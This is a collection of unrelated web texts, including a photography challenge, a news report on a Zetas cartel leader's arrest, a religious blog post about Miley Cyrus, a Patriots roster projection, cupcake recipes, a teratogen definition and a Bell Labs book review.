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Abide in Truth is a ministry of Calvary Chapel Emmett and listeners can tune in every weekday at 10:30 am and again at 5:45 pm. Mike Hughes is the teaching pastor at CC Emmett and each week he looks to go through God's Word, book by book and chapter by chapter. We are currently going through the book of 1 Corinthians in a series entitled Spelled Out. So grab your Bible, turn up the volume and follow along with us.


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It sounds so badass, doesn't it? Freelensing. Like Tom Petty is microwaving your $3,000 DSLR just to get high off the fumes or something. Well, truth be told, freelensing is a little badass, as far as photography techniques go.
The Challenge
Take a photo using the technique of freelensing, like our lead shot by jrdn7730. What the heck is freelensing? Read on.
The Method
Freelensing is when you take a photo with your lens detached from your camera body. You unlock the lens and CAREFULLY pivot it anywhere from a few millimeters to several inches. Depending, the results will look like tilt shift or macro photography. And that makes sense, because a tilt shift lens works a lot like the technique described...though instead of laying down the cash for the traditionally expensive glass, you can capture the effect this way for free. Just keep in mind that light leaks come with the territory.
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Now, a word of warning: Man wasn't meant to take photos like this. Beyond the obvious possibility of dropping your lens, you're also exposing your camera's internals to moisture and dust. Done properly, freelensing isn't much more risky than swapping out your lens. But I wouldn't recommend keeping that lens detached for very long. Plan your shot. Detach. Snag the shot. Seal the lens back on the camera.
For more on the technique, LukeRoberts has a nice visual explanation and PhotoJojo has a fantastic general tutorial (via SwissMiss). Read it and then show us what you've got.
The Rules - READ THESE
1. Submissions need to be your own.
2. Photos need to be taken AFTER the challenge was announced.
3. Explain, briefly, the equipment, settings, technique and story behind shot.
4. Email submissions to email@example.com, not me.
5. Include 800px wide image (200KB or less) AND a 2560x1600 sized in email. (The 800px image is the one judged, so feel free to crop/alter the larger image for wallpaper-sized dimensions.)
6. One submission per person.
7. Use the proper SUBJECT line in your email (more info on that below)
Send your best photo by Monday, November 1st at 8AM Eastern to email@example.com with "Freelensing" in the subject line. Save your files as JPGs, and use a FirstnameLastnameFreelensing.jpg (800px wide) and FirstnameLastnameFreelensingWallpaper.jpg (2560px wide) naming conventions. Include your shooting summary (camera, lens, ISO, etc) in the body of the email along with a story of the shot in a few sentences. And don't skip this story part because it's often the most enjoyable part for us all beyond the shot itself!
When I'm not running Shooting Challenges, I'm managing my new site: Life, Panoramic. Submit* your photos today!
*There's a Brett Favre joke here somewhere, I can just feel it..

subset: commoncrawl


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Arrest could break cartel's hold in Mexico
- Trevi%F1o Morales was arrested Monday
- The U.S. Justice Department had offered a %245 million reward for information leading to his capture
- He is accused of drug trafficking%2C money laundering%2C kidnapping and ordering murders
MEXICO CITY — The alleged kingpin of the notorious Los Zetas drug cartel, accused in a murderous reign of terror, was captured on a quiet dirt road with no shots fired.
Miguel Angel "Z-40" Treviño Morales was being held in a Mexico City prison Tuesday after being swept up by Mexican authorities in the border city of Nuevo Laredo.
Treviño Morales is accused of ordering a rampage of violence and murder that included the kidnapping and execution of numerous rivals and hundreds of migrants. Many of the bodies were found hanging from bridges or buried in shallow, mass graves.
In the USA, Treviño Morales was named in U.S. indictments filed in 2009 and 2010 that accuse him of drug trafficking, money laundering, kidnapping and ordering murders in both the USA and Mexico. The U.S. Justice Department had offered a $5 million reward for information leading to his capture.
"He is the most sadistic drug capo in Mexico," said George Grayson, a professor of Latin American politics at the College of William and Mary who has written a book on the Zetas cartel. "He delights in inflicting torture and pain. He deserves to be in the lowest rungs of hell."
The U.S. Drug Enforcement Administration (DEA) issued a statement congratulating "the brave men and women of the government of Mexico" for the arrest of Treviño Morales. "His ruthless leadership has now come to an end," it said.
Grayson said the murderous reign of the Zetas could be coming to an end.
"Most of Zetas' top lieutenants are either dead or behind bars, so I suspect that power will fall to his brother — known as El 42 — Omar Treviño Morales. You will see them move from a command-and-control structure to franchises. And that should translate to less violence," Grayson said.
The capture could strengthen the hand of Mexico's most-wanted man: Joaquín "El Chapo" Guzmán, alleged boss of the Sinaloa cartel, whom Grayson said has long wanted control of the lucrative drug-running corridor through Nuevo Laredo.
The arrest Monday represents a major victory for Mexican President Enrique Peña Nieto, who was elected in 2012 on promises to curb the wanton drug violence that has plagued his nation for several years.
Peña Nieto's nationalist PRI party also promised to curb its close intelligence ties to the United States. Interior Ministry spokesman Eduardo Sánchez said the takedown was done with intelligence gathered after Peña Nieto became president, but Sánchez evaded questions on the role of U.S. information in capture.
"It proves that in spite of some concerns that the new government might back away from the (previous) administration's strategy, it's continuing along the same lines of hitting the cartels hard," said Malcolm Beith, author of two books on the Mexican drug wars.
Grayson said that, without question, U.S. officials were involved at some level.
"The Mexican navy and its ground forces still have close ties to the U.S.," Grayson said. "PRI is not going to say 'We want to thank the U.S. government.' And the U.S. government is willing to keep a low profile."
The DEA statement said only that "Treviño Morales is one of the most significant Mexican cartel leaders to be apprehended in several years, and DEA will continue to support the government of Mexico as it forges ahead in disrupting and dismantling drug-trafficking organizations."
The pre-dawn arrest came after the Mexican navy learned Treviño Morales, 40, would be traveling along the road, Sánchez said.
Treviño Morales was with at least two other men — including a bodyguard and an accountant — when a helicopter from the Mexican navy forced the vehicle to pull over and marine ground troops closed in, Sánchez said.
At the time of the arrest, Mexican authorities seized $2 million, eight rifles and 500 rounds of ammunition, Sánchez said.
Treviño Morales allegedly ascended to the top position after Los Zetas founder Heriberto Lazcano was killed by the Mexican military last year. The body was taken from a funeral home.
Sánchez said authorities had been watching rural roads between the Texas border states of Coahuila, Nuevo Leon and Tamaulipas for signs of Treviño Morales, who is charged in Mexico with murder, torture, kidnapping and other crimes.
Zetas began as the violent enforcement wing of another cartel before breaking off into its own organization in 2010, expanding from drug dealing into extortion, kidnapping and human trafficking.


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Biblical Principles
Ephesians 6:4 And, ye fathers, provoke not your children to wrath: but bring them up in the nurture and admonition of the Lord.
Deuteronomy 6:6 And these words, which I command thee this day, shall be in thine heart: 7And thou shalt teach them diligently unto thy children, and shalt talk of them when thou sittest in thine house, and when thou walkest by the way, and when thou liest down, and when thou risest up. .
Many people have followed the recent descent of Disney Child Star Miley Cyrus into raunchy, rebellious behavior, which most recently included photos of her taking the drug salvia, an herb that has hallucinogenic effects on its users (and is legal in California). The one time squeaky clean, "Christian" TV star and singer has millions of adoring child fans of her "Hannah Montana" tv show, movies and music, making her wealthy many times over. And now 18, she has, like many Disney stars before her, taken a plunge into becoming a sexed up, rebellious young adult who seems to be publicly promoting her new, "wild-child" image in various outrageous performances, leaked photos and videos on the internet.
Rather than delving into the various "scandals" of Miley Cyrus over the past 2 years, I want to focus on her parents, since she, like all children are a product of the discipline, instruction and care, or lack thereof, of her parents or guardians (please note, that this does not excuse Miley Cyrus' behavior), What makes her story interesting though is that this is the first time where a parent has spoken out about this issue in spiritual terms. Music Star, Billy Ray Cyrus, the father of Miley Cyrus, in a leaked interview with GQ, first reported by the Daily News, expressed total regret regarding the immense fame and commercial success of his daughter and the damage it wreaked on his family:
Among the most startling revelations is an admission that "Hannah Montana" "destroyed" his family and his fear that 18-year-old Miley could possibly end up meeting the same tragic fate that befell controversial stars that came before her – namely, Michael Jackson, Kurt Cobain and Anna Nicole Smith.
"Every time something happened in Miley's career, every time the train went off the track, if you will – Vanity Fair, pole-dancing, whatever scandal it was – her people, or as they say in today's news, her handlers, every time they'd put me … 'Somebody's shooting at Miley! Put the old man up there!'" Billy Ray told the magazine about why he used to have such a strong public presence in his daughter's life.
In addition to being manipulated by who he called Miley's "handlers" to be a defensive Dad every time his daughter ended up in an embarrassing scandal, Mr. Cyrus also stated that the devil was behind the current crisis his family is facing:
Billy Ray didn't place all the blame on those currently in Miley's life. There are also evil forces at work, he claimed.
"Somewhere along this journey, both mine and Miley's faith has been shaken," he said. "That saddens me the most."
His family, Billy Ray argued, is now being ruined by Satan.
"No doubt," he insisted. "There's no doubt about it."
This is the true enemy of not just the Cyrus family, but all families: the Devil. God's order was for a man to leave his parents, join a woman in permanent marriage and raise children in a monogamous relationship centered on His Word and righteousness. Satan, in his efforts to to undo and reverse God's order, has been attacking the family unit since the first family of humanity. Not only did Satan seduce Eve into doubting God's Word and thus eating from the Tree of Knowledge of Good and Evil (Genesis 3), the sin continued with their children as Cain, the first son of Adam and Eve, slew his brother Abel in a fit of jealousy (Genesis 4). Jesus had his own statement on the matter as well in the book of John:
John 10:10 The thief cometh not, but for to steal, and to kill, and to destroy: I am come that they might have life, and that they might have it more abundantly.
In drawing this contrast, Jesus Christ pointed out the agenda of our spiritual enemy: Satan and his army of fallen angelic beings – to take as much from humanity and lead us into damnation.
Occult Influence
Like many of the big music stars of today, Miley Cyrus' videos have taken a turn towards the occult. Occult imagery is now becoming pervasive in music videos of young pop stars (a long overdue blog on this issue is coming soon). In here 2010 video, the aptly titled "Can't Be Tamed", a scantily-clad Cyrus is said to be making a statement about becoming a woman and "breaking out of her innocent, squeaky clean image. In her own words: "It's the first step of growing up."
An opening scenes shows visitors in a museum being led by a curator to see "..the rarest creature on Earth, known as Avis Cyrus." The group is then led to a cage, where Miley Cyrus is in costume, dressed in a small black outfit and sporting enormous black wings. While the immediate reference that comes to mind can be a dark angel or fallen angel, the name choice of Avis also holds significance:
The Roman satirist Juvenal wrote in 82 AD of rara avis in terris nigroque simillima cygno ('a rare bird in the lands, and very like a black swan').[6] He meant something whose rarity would compare with that of a black swan, or in other words, as a black swan did not exist, neither did the supposed characteristics of the 'rare bird' with which it was being compared. The phrase passed into several European languages as a popular proverb, including English, in which the first four words (a rare bird in the land) are often used ironically. For some 1500 years the black swan existed in the European imagination as a metaphor for that which could not exist.
Interestingly enough there is a movie currently out called "Black Swan" the deals with a woman dealing with multiple personality disorders and mind control, who is encouraged and pressured by her handlers to "break free" of her shell. This is of course achieved through fornication and sexual exploration. (A very good detailing of the occult significance of that movie can be found here).
I applaud Mr. Cyrus for recognizing the true cause of the problems in all of us: sin, which was initiated in this world by Satan's temptation. But the question remains, does he recognize the solution is salvation in Jesus Christ? Like many superstars before her, Miley Cyrus has fallen for the best Satan has to offer : money, power and fame. The cost though was any type of respectable image she had as a child role model, her own family and possibly her soul. Is Miley Cyrus saved? Of course it is possible, but from her own statements about her faith in the past, it is not clear. She stated in 2007 that she wanted to be a "light and testimony" for god but there were no public statements regarding her salvation that I could locate. Either way, her father's pain and frustration should be a cautionary tale to parents yet again to raise their children to love and fear The Lord and to control what their kids are watching and listening to. Many of the pop stars of today, even the kiddie ones, are operating as tools of the world, promoting sinful rebellion every chance they get. Parents have an obligation to protect their home from these influences and pray for God's guidance so they do not have the same regrets Mr. Cyrus is now experiencing.


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Inspired by the LGBT community in the cities of New York, San Francisco and Portland, Nike Sportswear is set to release the Be True Pride Pack this Summer.
With the introduction of the original BE TRUE campaign in 1985, some of the most storied programs in collegiate hoops finally had the footwear that allowed athletes and fans to show their school colors.
BE TRUE 2012 celebrates the achievements of the New York City, San Francisco and Portland communities as progressive leaders of LGBT life with city-specific footwear releases and accompanying hat and tee.
Nike BE TRUE Air Flytop [SF] & Nike BE TRUE Air Royal [NYC] (PICTURED): Chosen for their low-profile, trend forward take on court footwear, each model features a mix of premium materials and utilizes a tailored color palette to create a crafted and wearable shoe. Both models are highlighted by their outsoles that feature a vibrant rainbow spectrum that spans from the left to right shoe.
Nike BE TRUE Lunar Flow [PDX]: The Nike Lunar Flow is a fresh take on a classic Nike running silhouette. The model ties Nike's modern fuse construction with a clean sport palette. Following the rainbow spectrum theme, this time the ROYGBV colors are printed onto the vamp mesh that spans from the left to right shoe.
Nike BE TRUE x Bowerman Tee: The limited-edition tee is an anthracite Dri-FIT cotton crew with a tonal reflective cross streets graphic on chest and a swoosh treated with the rainbow spectrum on back neck.
BE PDX/ Nike Lunar Flow: Available at Nike Portland June,15 2012.
BE NYC / Nike Air Royal: Available at Niketown NYC June 22, 2012.
BE SF / Nike Air Flytop: Available at Niketown Union Square June 22, 2012


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Training camp is 4½ weeks old. It's time to meet the Turk.
The Turk is the nickname given to the team employee, usually a low-level staffer, who greets players at the door on cutdown day and instructs them to meet with the head coach in his office, playbook in hand.
If you get tapped by the Turk, your football career is about to hit a snag, or end.
The Patriots, currently at 84 players, have to get down to 75 by 4 p.m. Tuesday. They'll play their final exhibition game Thursday at the Giants, then have to cut down to 53 players by 4 p.m. Saturday.
The Patriots have 18 or 19 starting spots settled and most of their roster spots locked up, but Bill Belichick and his staff will have some tough decisions to round out their 53.
The Turk already visited New England on Sunday, with three veterans getting cut: defensive linemen Tommy Kelly and Will Smith, and linebacker James Anderson.
Using last Friday night's exhibition game against the Panthers as our guide, let's take a look at our latest projected roster. We're not including two players who will start the season with four-game suspensions — Brandon Browner and Brian Tyms. (* — practice squad)
OFFENSE (24 players)
Quarterback (3): Tom Brady, Ryan Mallett, Jimmy Garoppolo.
Just missed the cut: None.
Analysis: It's still tempting to leave Mallett off the roster given how Garoppolo has looked in the three exhibitions, and here's betting Belichick would take a low-round pick for Mallett. But it still seems like the most prudent move this year is to carry all three quarterbacks and let Garoppolo essentially redshirt. Plus, why would Belichick put Mallett in during the first quarter against Carolina to practice an unexpected change if he wasn't going to keep him on the roster?
Running back (5): Stevan Ridley, Shane Vereen, James White, Brandon Bolden, FB James Develin.
Just missed the cut: Jonas Gray*, Roy Finch*.
Analysis: Ridley's fumble in the second exhibition game has us thinking that the Patriots want a little depth at running back, so we're putting Bolden back on the team for now. He can play special teams and serve as a backup to Shane Vereen in case of injury. Gray has looked good in limited preseason action and Finch has top-end speed. Both are worth keeping on the practice squad.
Wide receiver (5): Julian Edelman, Danny Amendola, Brandon LaFell, Aaron Dobson, Kenbrell Thompkins.
Just missed the cut: Jeremy Gallon*, Josh Boyce*, Wilson Van Hooser.
Analysis: The top five is pretty well established, although Dobson is lagging behind the others as he returns from a foot injury. Boyce, last year's fourth-round pick, didn't do anything as a rookie and hasn't shown much in camp to warrant a spot. But the NFL's recent expansion of practice squad eligibility will help Boyce, who is now eligible to be placed on the Patriots' practice squad if he clears waivers. Gallon just returned to practice and is worth stashing on the practice squad.
Tight end (2): Rob Gronkowski, Michael Hoomanawanui.
Just missed the cut: Steve Maneri, Justin Jones.
Analysis: This will be a fluid situation throughout the season, but for now we've got the Patriots keeping only two tight ends, especially since Hoomanawanui should be healthy for Week 1, Develin can play tight end as well, and the Patriots use Josh Kline and Nate Solder a lot as a sixth offensive lineman. Maneri and Jones are camp bodies who will get a lot of snaps in the final exhibition game but won't stick around for the regular season.
Offensive line (9): Nate Solder, Logan Mankins, Ryan Wendell, Dan Connolly, Marcus Cannon, Sebastian Vollmer, Josh Kline, Bryan Stork (IR), Cameron Fleming, Jordan Devey.
Just missed the cut: Braxston Cave*, Jon Halapio*.
Analysis: One move that seems to make more and more sense is for the Patriots to put Stork, a fourth-round pick who hasn't practiced since the first week of camp, on injured reserve and sit him out this season. That would allow them to keep both Wendell and Connolly, who offer a veteran presence and good versatility at center and guard. Devey didn't look great against the Panthers but the coaching staff could keep him and Fleming as the final backups. The Patriots can also stash a couple of offensive linemen on the practice squad for depth.
DEFENSE (25 players)
Defensive line (9): Chandler Jones, Vince Wilfork, Rob Ninkovich, Dominique Easley, Chris Jones, Sealver Siliga, Joe Vellano, Jerel Worthy, Michael Buchanan.
Just missed the cut: Tommy Kelly, Zach Moore*, Will Smith.
Analysis: Kelly's cut was a little surprising, but not really given that he's coming off a torn ACL and the team has a lot of young depth on the defensive line. Vellano has been playing a lot in the preseason and fits the 3-4 defense well. The Patriots traded a seventh-round pick for Worthy and will probably give him a few weeks into the regular season to work himself into playing shape and see if he can contribute. Smith, the longtime New Orleans Saint, had no chance of making the team.
Linebacker (6): Jerod Mayo, Jamie Collins, Dont'a Hightower, Steve Beauharnais, Ja'Gared Davis, Darius Fleming.
Just missed the cut: Taylor McCuller*, James Anderson, Chris White.
Analysis: Anderson's cut wasn't surprising, as the Patriots would rather keep a trio of young linebackers to back up Mayo, Collins, and Hightower. Beauharnais, Davis, and Fleming have played well in camp and got significantly more playing time than Anderson against the Panthers. McCuller has played linebacker and fullback in camp and is the kind of versatile player Belichick will try to keep on the practice squad.
Cornerbacks (5): Darrelle Revis, Alfonzo Dennard, Logan Ryan, Kyle Arrington, Malcolm Butler.
Just missed the cut: Daxton Swanson.
Analysis: Butler locked up a roster spot in the last week and should be a key special teams contributor. The only real question is who starts opposite Revis in the first four weeks. The guess here is Dennard gets the start on the outside, although Arrington will work in the slot and Ryan will get plenty of work at corner and safety.
Safeties (5): Devin McCourty, Duron Harmon, Patrick Chung, Tavon Wilson, Nate Ebner.
Just missed the cut: Jemea Thomas*.
Analysis: The feeling we get is that the strong safety job next to McCourty will be a rotation — Chung and Wilson used on first and second downs as an extra defender in the box, and Harmon or one of the cornerbacks in nickel and dime packages on passing downs. Chung, Wilson, and Ebner can all contribute on special teams.
Specialists (4): K Stephen Gostkowski, P Ryan Allen, LS Danny Aiken, ST Matthew Slater.
Just missed the cut: None.
Analysis: Not much to discuss here as all four are locks.
Ben Volin can be reached at email@example.com. Follow him on Twitter @benvolin.


text: All photos can be downloaded for free. Click the photo you want and right click to download it to your computer. If you really love your photo, prints can be purchased by clicking the "Buy Photos" button. 100% of proceeds from print sales will be donated to the Special Olympics of Pennsylvania.Read More


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Things are definitely looking cheery and sparkly and sugary these days. Thanksgiving may be all about gratitude and huge, heaping platefuls of food, but food traditions around Christmas tend to have more ethereal qualities like imagination and hope and wonder.
If the essence of Christmas was boiled down into flavors they would be, for me, gingerbread and peppermint. I don't eat much peppermint any other time of the year, with the exception of the hard candies you can scoop up on your way out of some restaurants. In a word: ordinary. But at Christmas time peppermint becomes whimsical architectural features on gingerbread houses and swings gaily from the boughs of evergreens as striped canes.
The same goes for gingerbread, as an everyday cake it helps digestion. But as a house! Or an army of Men! It is magical. Gingerbread fits with this time of year, too. Eating a gingerbread man in July would feel the same as twisting a woolen scarf around your neck and belting out a few verses of "Deck the Halls" on a summer's day. You just don't do that in July.
In our family, we have a tradition of Gingerbread People on Christmas morning. This is one tradition that my mom holds onto very tightly, even as scenes shift and people come and go from Christmas morning over the years. The Gingerbread People are always there, a comforting, slightly lumpy, presence.
Every Christmas morning, usually following lots of clattering very early in the kitchen, we are each handed our very own Person, a mug of hot chocolate towering with an unreasonable amount of whipped cream, and a peeled orange. "Frothy" is the best way to describe Christmas morning in our family.
My brother and I have nicknamed the cookies "Mutants" for their uniqueness. Mom is no stickler for uniformity, she eschews cookie cutters and prefers to shape by hand. Mom's Gingerbread Mutant People are really more like soft sculptures – doughy with mismatched limbs and sorrowful red-hot eyes above enormous raisin grins.
(This skill for creating menacing-looking cute food may be genetic. Check out my attempt last year to create adorable Snowmen Cupcakes.)
You'll have to use your imagination to picture the Gingerbread People Mutants because it has never occurred to me take a picture of one of them. They don't hang around long, usually gone within the hour as we indulge in this once-a-year, oh-my-I-am-eating-a-giant-mutant-delicious-warm-cookie-for-breakfast, decadence.
For some reason this year I wanted to "deconstruct" the flavors of a gingerbread house into a cupcake. I didn't want anything too heavy, and I found just what I needed in a 1964 volume of the "American Heritage Cookbook." Not too spicey, not too sweet, and a great intro quote from Founding Father John Adams who declared molasses (a necessary ingredient in gingerbread) as an essential ingredient for American freedom: "I know not why we should blush to confess that molasses was an essential ingredient in American independence. Many great events have proceeded from much smaller causes."
A freedom-crying cupcake! Perfect.
If you must know, colonial New Englanders really liked their rum, which needs molasses. And it was the British tax on molasses, not tea, that first got everyone's knickers in a twist and eventually lead to the Boston Tea Party and a full-fledged Revolution. Hanging revolutionary origins on tea rather than rum, though, is much more civilized don't you think?
John Adams comments were in reference to the Molasses Act passed by the British Parliament on Dec. 25, 1733. It gave rise to smuggling throughout the Colonies, and the eventual Sugar Act when the Molasses Act expired in 1763. The Stamp Act followed in 1765. The straw that broke the Colonists back was the Tea Act of 1773, which lead to the famous Boston Tea Party on Dec. 16, 1773.
Anyway, back to the flavors of Christmas. I briefly thought about making a gingerbread cupcake with a peppermint cream cheese frosting but in the end I went with the more traditional lemon frosting and used the peppermint to top off some chocolate cupcakes. I added some freshly grated ginger to the cupcake cake batter, just to boost the flavors a bit.
I will persist in my effort to make a cute cupcake. For now, these are tasty if not a little bit lovable in their own freedom-declaring, hope-filled way.
Gingerbread cupcakes
2 cups sifted all-purpose flour
1/2 teaspoon salt
1 teaspoon ground ginger
1 teaspoon baking soda
1/2 cup (1 stick) butter, room temperature
1/2 cup brown sugar, firmly packed
2 eggs, separated
1/2 cup sour cream
1/2 cup molasses
1 teaspoon freshly grated ginger
Preheat oven to 350 degrees F. Grease muffin tin or line with paper cups.
Sift together flour, salt, ground ginger, and baking soda. Set aside. Separate egg whites and yolks into two separate bowls.
In a large bowl, cream butter until soft. Add sugar, a little at a time, beating until smooth. Beat egg yolks and stir into butter-sugar mixture.
Combine sour cream, molasses, and grated ginger and add to mixture, alternating with the flour combination. Beat egg whites stiffly, fold into mixture.
Fill each cupcake holder 3/4 full. Bake 15-20 minutes or until a toothpick inserted in the center comes out clean.
Cool a few minutes in the cupcake pan before removing and transferring to a wire rack. Cool completely before frosting.
Chocolate fudge cupcakes
I simply used the recipe off the canister for Ghiradelli unsweetened cocoa, and reduced the milk. But you might want to try Ghiradelli's cupcake recipe here.
2 cups all-purpose flour
3/4 cups Ghiradelli Unsweetened Cocoa
1 teaspoon baking powder
1 teaspoon baking soda
1/2 teaspoon salt
1 cup (2 sticks) butter, softened
1-3/4 cups sugar
2 teaspoons vanilla
2 large eggs
3/4 cup milk
Preheat oven to 350 degrees F. Grease a cupcake tin or line with paper cups.
In a medium bowl, combine flour, cocoa, baking powder, baking soda, and salt. Set aside.
In a large bowl, cream butter and sugar on medium high speed until light and fluffy, about 4 minutes. Reduce speed to low and add vanilla and eggs one at a time.
Alternatively add flour and milk (starting and ending with the flour mixture) and mix on low speed. Mix until smooth.
Fill cupcake holders 3/4 full. Bake 20-25 minutes or until a toothpick inserted in the center comes out clean.
Cool a few minutes in the cupcake tin before removing to a wire rack. Cool completely before frosting.
Cream cheese frosting
The amount of sugar varies from recipe to recipe, I always go for less sugar. You don't need it.
1 8-ounce package of cream cheese
1/2 stick butter, softened
1-1/2 cups powdered sugar
For lemon frosting:
Zest of one lemon
Juice of 1/2 lemon
1/2 teaspoon vanilla
For peppermint frosting:
1 teaspoon peppermint extract
6 hard peppermint candies, chopped fine
Beat cream cheese, butter, and sugar until smooth. Evenly divide into two separate bowls.
For the lemon frosting: stir in lemon zest, lemon juice, and vanilla. If the icing looks runny, add a bit more powdered sugar until it stiffens up. Chill about 20 minutes before frosting.
For the peppermint frosting: add the peppermint extract and blend. Chill about 20 minutes before frosting. Sprinkle finely chopped peppermint candies on top of each frosted cupcake.
Related posts: Proper English Scones, Snowman Cupcakes only a child could love, Three kinds of fondue, Green bean casserole, Civil War recipes: Hardtack crackers and Confederate Johnny Cake


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slotted grating
A slotted grating is a type of grating for drainage channels offered by HAURATON. The term describes the shape of the inlet openings. Slotted gratings consist of ductile graphite iron, galvanised steel or stainless steel. The grating has transverse slots that allow the water to run into the channel from where it is discharged. Slotted gratings are used in many applications. They are available for different types of channels and in different nominal widths.


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Teratogen: Any agent that can disturb the development of an embryo or fetus. Teratogens may cause a birth defect in the child. Or a teratogen may halt the pregnancy outright. The classes of teratogens include radiation, maternal infections, chemicals, and drugs.
Drugs known to be capable of acting as teratogens include, but are by no means limited to, ACE inhibitors like benazepril (brand name: Lotensin), captopril (Capoten), enalapril (Vasotec), fosinopril sodium (Monopril), lisinopril (Zestril, Prinivil), lisinopril and hydrochlorothiazide (Zestoretic, Prinzide), quinapril (Accupril), and ramipril (Altace); the acne medication isotretinoin (Accutane, Retin-A); alcohol, whether ingested chronically or in binges; androgens (male hormones); the antibiotics tetracycline (Achromycin), doxycycline (Vibramycin), and streptomycin; blood-thinners, such as warfarin (Coumadin); seizure medications, including phenytoin (Dilantin), valproic acid (Depakene, Depakote, Valprotate), trimethadione (Tridione), paramethadione (Paradione), and carbamazepine (Tegretol); the anti- depressant/anti-manic drug lithium (Eskalith, Lithotab); antimetabolite/anticancer drugs methotrexate (Rheumatrex) and aminopterin; the antirheumatic agent and chelator penicillamine (Ciprimene, Depen); antithyroid drugs, such as thiouracil/propylthiouracil and carbimazole/methimazole; cocaine; DES (diethylstilbestrol), a hormone; and thalidomide (Thalomid). Obviously, alcohol and illegal or unnecessary drugs should never be used by women who are pregnant, or who plan to get pregnant. However, sometimes a medication necessary for health is also a teratogen: thyroid medication, blood thinners, and lithium are just a few examples. In these cases, female patients should work carefully with their doctors to determine if an alternative treatment is possible before and during pregnancy. In some cases the danger of birth defects is limited to a certain part of the pregnancy, and medication can be started again after that period has passed. Other medications can be safely restarted with the baby's birth. Some medications also pass through breast milk, however, and if they cannot be avoided the mother may need to choose formula feeding instead.


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"To share a space with conscious individuals who are self aware, vulnerable and grounded has been a true treat. The practice run by Harry quickly became a space for deep presence, emotional work, authentic connections, and has been invaluable to help continue developing my own coaching skills. Harry always does a tremendous job of keeping each group aligned with the intention of the exercise and ensures every participant receives a valuable experience."
– Salvatore Liberti, Breathwork & Meditation Teacher


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Guys, Constantin
Guys, Constantin gois [key], 1805?–1892, French watercolorist and draftsman, b. Holland. His work was published anonymously, most frequently in the Illustrated London News. Most of his witty drawings deal with the elegant society of his period, but he also drew, from life, scenes of the Crimean War.
See P. G. Konody, The Painter of Victorian Life (1930), which includes an essay by Baudelaire.
The Columbia Electronic Encyclopedia, 6th ed. Copyright © 2023, Columbia University Press. All rights reserved.
See more Encyclopedia articles on: European Art, 1600 to the Present: Biographies


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Special Program Funds
A well-rounded legal education program requires more than gifted teaching, a comprehensive curriculum and modern classrooms. Often the enrichment that comes from involvement in community service, a meeting with a leading figure in the legal arena, or competing in interscholastic competition, helps students connect theoretical learning with real understanding, and hones professional skills.
At Southwestern, these offerings are woven into the law school experience with tremendous results. They are evident in the national reputation of Southwestern's award-winning Moot Court teams. They are reflected in the roster of distinguished visitors which has included recent heads of state from nations spanning the globe, judicial leaders including United States Supreme Court justices, and top legal scholars and practitioners who have played key roles in cases from tobacco litigation to proving the innocence of death row inmates. They are apparent in the enthusiastic response of students to discussions with distinguished members of the bench and bar through the Dean's Roundtable and Inn of St. Ives dinners.
Southwestern seeks to enhance these and other elements that add a real world perspective and otherwise enrich the student experience. Endowed lectureship series will bring inspiring national and international leaders to campus. Summer work stipends will enable more students to gain legal experience in public service and nonprofit agencies. Contributions designated for special Taylor Library collections will expand the specialized resources available to students.
A variety of special programs, activities, technology and other resources greatly enhances and complements the formal studies of law school. Examples of special programs and projects in need of sponsors include:
- $50: A book for the Taylor Library
- $500-2,500: Computers, laser printers and other equipment for Law Review and Journal of Law and Trade in the Americas
- $500-5,000: Travel expenses for a Moot Court or Trial Advocacy team entering national competition
- $5,000-15,000: A special collection in the Taylor Library
- $5,000-25,000: State-of-the-art courtroom video equipment
- $10,000-100,000: Endowment for an annual Distinguished Speaker lecture series in cutting-edge area of law
- $25,000-150,000: Underwriting a major conference at Southwestern featuring nationally recognized practitioners and legal scholars


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Grand Rapids Singer Writes A Special Song For His Sister Who Was Diagnosed With Autism
His name is Chas Burtchett, and I first met him and heard him sing at the Autism Support of Kent County Walkathon a few weeks back at Kuiper College. I've been hosting the event for the past 5 years or so. Chas was telling me and some of the others, about his sister who was diagnosed with Autism.


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The great technological minds of the 20th century were certainly entitled to their share of clowning. Though seriously starched, Bell Labs—the research octopus of AT&T—had some oddballs walking, and in one case unicycling, its endless corridors. Satellite inventor John Pierce once strolled into a mathematician's office and shut himself inside a locker, as if grabbing a moment of empathetic darkness for all the nerds who would be involuntarily stuffed into future lockers before growing up to invent things both great and terrible. He freed himself and left the room without a word, hanging a big fat Huh? on his colleague's face.
There were others. Radar man Jim Fisk—who once said his senses were sharpened by "man-eating flies"—was pretty good at vanishing down nonexistent stairs, an illusion later refined by Austin Powers. (It's all in the knees.) Transistor pioneer Bill Shockley had a wrist-activated bouquet up his sleeve. Computer visionary Claude Shannon was the unicyclist.
You can happily join this egghead circus in The Idea Factory: Bell Labs and the Great Age of American Innovation, Jon Gertner's fascinating history of the phone company's R&D brain from its inception in 1925, on West Street between 11th and 12th in Manhattan, to its federal dismemberment in 1984 and present legacy in your iPhone. At Bell Labs, a sense of humor, not to mention patience, was required during a period that Shockley described as "the natural blundering process of finding one's way." The path to lasers, radars, satellites, and decent phone service was full of all manner of unplanned genius and gee-whiz. Bell Labs had to keep "inventing ways to invent those things," writes Gertner, also a science writer for the New York Times.
Before the first 80-pound mobile phone, there was a robot finger to simulate dialing and a Dropping Machine to gauge "the violence of impact" when hanging up on bad news. A Flintstonian Woodpecker Machine was created to test the resistance of wood finish on telephone poles. Noise was an invasive species in the Bell System. The company diligently gopher-proofed its underground cables and filtered out the ancillary racket that infested conversation, sound effects that did little in discouraging the notion that long distance calls were routed through outer space. A thing to come later, anyway.
In 1921, the federal government exempted AT&T from antitrust regulations, allowing Bell Labs to pursue—as Gertner has it—a "mission to connect all of us, and all of our new machines, together." (At the time, Russia seemed to take this mission a lockstep further, establishing the Central Institute of Labor laboratory, "machine-human complexes," as descriptions of the era put it, for bioengineering the "perfect electric man.") With dibs on the latest innovations, both military and civilian, the feds were wise to grant AT&T, and by dint Bell Labs and its manufacturing division, Western Electric, this elastic courtesy. By 1941, when Bell Labs president O.E. Buckley was heading the National Defense Research Committee, the lab itself had relocated from Manhattan to an expanded facility in Murray Hill, N.J.. The windows were painted black, barbed wire curled inward, and nearly 75 percent of research went to the war machine.
The Idea Factory rightly concentrates on Jim Fisk's radar research as one of Bell Labs' most important wartime contributions, instead of, say, Jim Fisk's proposal to install a swimming pool in the basement of a biscuit factory to study the "propulsion system of sharks" for naval warfare. (I've often imagined a visit to Bell Labs in the '40s being similar to dropping by Q's MI6 lab.) Bell Labs busied itself with bazookas, magnetic mines, a camera that photographed bullets, and my favorite, the Water Heater. This acoustic torpedo was equipped with a 500-watt speaker that popped out of its nose and played "tactical sounds" to decoy enemy ships, and then, like all the rest, self-destructed.
